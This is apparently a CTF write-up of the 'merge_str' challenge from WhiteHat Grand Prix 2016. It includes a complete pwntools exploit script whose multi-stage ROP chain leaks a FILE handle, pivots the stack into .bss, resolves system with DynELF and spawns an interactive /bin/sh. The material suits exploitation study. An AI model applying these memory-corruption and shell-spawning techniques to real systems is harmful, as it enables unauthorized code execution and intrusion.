A walkthrough of the whitehat merge_strt challenge from whitehat grandprix 2016 ctf.
Here is the binary if you want to play with it too. merge_str
This exploit resolves system dynamically so its libc version agnostic.
This challenge was in fact fairly eazy to solve since all that was actually required is read a flag.txt. The binary actually imports fopen and fread so reading flag.txt was trivial once the bug discovered and controlled.
Although our team got the flag quickly (thanks to @uaf.io) I could not rest until I had a shell on the box.
The main challenge was that we could not find the right version of libc from the functions leaked in the .got. For some obscure reason also roputils.py could not craft a payload that would dynamically link system either. I therefore resorted to using pwntools with DynELF to resolve system and then call system(‘/bin/sh’).
Using DynELF however requires a perfect leak function. This means that the leak fuction has to support any byte in the address it’s passed. Achieving this was not easy and required 3 stages just to get a proper leak function that I could use with DynELF. Once that was done, I could simply resolve system and voila!
Here is my final exploit for the challenge.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 #!/usr/bin/env python from pwn import * offset = 22 binary = ELF('./merge_str') addr_bss = binary.bss(0) main = 0x8048c7f p = process(binary.path) #p = remote('bakpwn06.grandprix.whitehatvn.com', 23506) #p = remote('pwn06.grandprix.whitehatvn.com', 23506) #p = remote('localhost', 1234) ''' Stage1 Using my primitive leak function which can only deal with payloads that have no newline and no nullbyte, I leak the FILE handle for stdin. This will allow me to use fgets removing the null byte restriction. I will however, still have the newline restriction. ''' filehandle = 0x804affc def leak1(addr): payload1 = 'A' * 13 payload2 = 'B' * 12 p.recvuntil('Message 1 : ') p.sendline(payload1) p.recvuntil('Message 2 : ') p.sendline(payload2) p.recvuntil('?(Y/N)') p.sendline('y') p.recvuntil('Index :') idx = 190 p.sendline(str(idx)) p.recvuntil('String:') rop = ROP(binary) rop.call('puts',[addr]) rop.call(main) padding = 'A' * offset p.sendline(padding + str(rop)) return p.read(4) print 'stage1 : leaking stdin FILE handle' filehandle = u32(leak1(filehandle)[:4]) - 0x85c ''' Stage2 Using fgets with my newly leaked FILE handle for stdin, I use fgets to read in my next ropchain. At this point, instead of replaying main for my next stage I simply pivot to my next ropchain. ''' print 'stage2 : staging proper leak function' rop = ROP(binary) padding = 'A' * offset rop.call('fgets', [addr_bss+0x500, 0x7fffffff, filehandle]) rop.migrate(addr_bss+0x500) payload1 = 'A' * 13 payload2 = 'B' * 12 p.recvuntil('Message 1 : ') p.sendline(payload1) p.recvuntil('Message 2 : ') p.sendline(payload2) p.recvuntil('?(Y/N)') p.sendline('y') p.recvuntil('Index :') idx = 190 p.sendline(str(idx)) p.recvuntil('String:') p.sendline(padding + str(rop)) ''' Stage3 This is my leak function/payload. The first time its called, its staged using fgets. This means that the ropchain cannot contin newlines. However, any subsequent call to it have no byte restrictions because I am now using fread to stage my next ropchain. I alternate between two areas in my .bss to stage and pivot to. I could only use fread once I could use null bytes in my payload because of fread's 2nd and 3rd arguments. This leak function can now be used with DynELF to resolv system in libc. ''' flag = False def leak2(addr): global flag if flag: pivotto = addr_bss+0x500 else: pivotto = addr_bss+0x400 flag = not flag rop = ROP(binary) rop.call('alarm', ) rop.call('puts', [0x8048e67])#BOF!!! rop.call('puts', [addr]) rop.call('puts', [0x8048e67]) #BOF!!! rop.call('fread', [pivotto, 85,1, filehandle]) rop.migrate(pivotto) p.sendline(str(rop)) p.recvuntil('BOF!!!\n') val = p.recvuntil('\nBOF!!!\n') val = val[:-len('\nBOF!!!\n')] if val == '': return '\x00' else: return val print 'stage3 : resolving system using pwntools DynELF' d = DynELF(leak2, main, elf=binary) system = d.lookup('system', 'libc') ''' stage4 Now that I resolved system, all that is left to do is call system("/bin/sh"). This is done in two stages. First the ropchain and then the /bin/sh string. Enjoy your shell! ''' shellstring = '/bin/sh -i\x00' print 'stage4 : calling system("/bin/sh")' rop = ROP(binary) rop.call('fread', [addr_bss, len(shellstring),1, filehandle]) rop.call(system, [addr_bss]) rop.call('exit', ) padding = 'a' * (84 - len(str(rop))) p.sendline(str(rop) + padding) p.sendline(shellstring) p.interactive(0)